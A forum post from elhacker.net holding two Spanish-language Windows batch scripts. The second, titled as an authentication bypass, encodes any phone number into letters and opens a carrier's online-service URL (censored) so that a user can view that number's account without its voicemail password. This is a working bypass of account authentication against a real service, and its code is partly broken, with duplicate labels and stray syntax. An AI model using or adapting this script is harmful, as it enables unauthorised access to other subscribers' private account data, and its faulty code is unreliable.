Foro de elhacker.net

@Echo OFF & SetLocal EnableDelayedExpansion

Set    "chars=qrstuvwxyz"
Set /P "text=Introduce el valor: "
REM Tus evaluaciones aquí.
REM ej: If "%text%" EQU "" ()...

For /L %%# In (0, 1, 9) Do (
    Set "char=!chars:~%%#,1!"
    Call Set "text=!text:%%#=%%char%%!"
)

Start /B "url" "http://www.misitio.com/generar.index.jsp?id=%text%"

Pause&Exit /B 0

@Echo OFF & SetLocal EnableDelayedExpansion

title ATENCIàN EN LÖNEA - SALTO DE AUTENTIFICACIàN
color 4e

echo ********************************************************************
echo.
echo Desde este peque¤o programa podr s acceder a atenci¢n en l¡nea
echo sin la necesidad de la clave del buz¢n de voz, solamente debes
echo introducir el n£mero que quieras consultar omitiendo el 0 del inicio
echo ejemplo 4161234567 o 4261234567 una vez lo coloques presiona intro
echo.
echo ********************************************************************
echo.

:SaltarAutentificacion
Set    "chars=qrstuvwxyz"
echo.
Set /P "pass=Introduce el n£mero telef¢nico que desees consultar: "
REM Accediento saltando autentificaci¢n
REM ej: If "%pass%" EQU "" ()...


For /L %%# In (0, 1, 9) Do (
    Set "char=!chars:~%%#,1!"
    Call Set "pass=!pass:%%#=%%char%%!"
)

:BUCLE
CLS & ECHO. 
SET /p "PASS=INTRODUCE SOLO DIEZ CARACTERES:";

SET SW=######%PASS%
SET SW=%SW:~-10%

IF %SW% NEQ %PASS% GOTO:BUCLE

ECHO. & ECHO  Consultar s el n£mero:[0%SW%] & PAUSE

) || (GOTO:BUCLE)



REM SET SW=%PASS:~0,-10%



Start /B "url" "***CENSURADO***?id=%pass%"
echo.
echo ############################################
echo.
echo     ENLACE ABIERTO SATISFACTORIAMENTE
echo.
echo ############################################
GOTO :SaltarAutentificacion2


:SaltarAutentificacion2
Set    "chars=qrstuvwxyz"
echo.
Set /P "Consulta otro n£mero telef¢nico: "
REM Accediento saltando autentificaci¢n
REM ej: If "%pass%" EQU "" ()...


For /L %%# In (0, 1, 9) Do (
    Set "char=!chars:~%%#,1!"
    Call Set "pass=!pass:%%#=%%char%%!"
)

:BUCLE
CLS & ECHO. 
SET /p "PASS=INTRODUCE SOLO DIEZ CARACTERES:";

SET SW=######%PASS%
SET SW=%SW:~-10%

IF %SW% NEQ %PASS% GOTO:BUCLE

ECHO. & ECHO  Consultar s el n£mero:[0%SW%] & PAUSE

) || (GOTO:BUCLE)



REM SET SW=%PASS:~0,-10%



Start /B "url" "***CENSURADO***?id=%pass%"
echo.
echo ############################################
echo.
echo     ENLACE ABIERTO SATISFACTORIAMENTE
echo.
echo ############################################
GOTO :SaltarAutentificacion2
pause>nul
Pause&Exit /B 0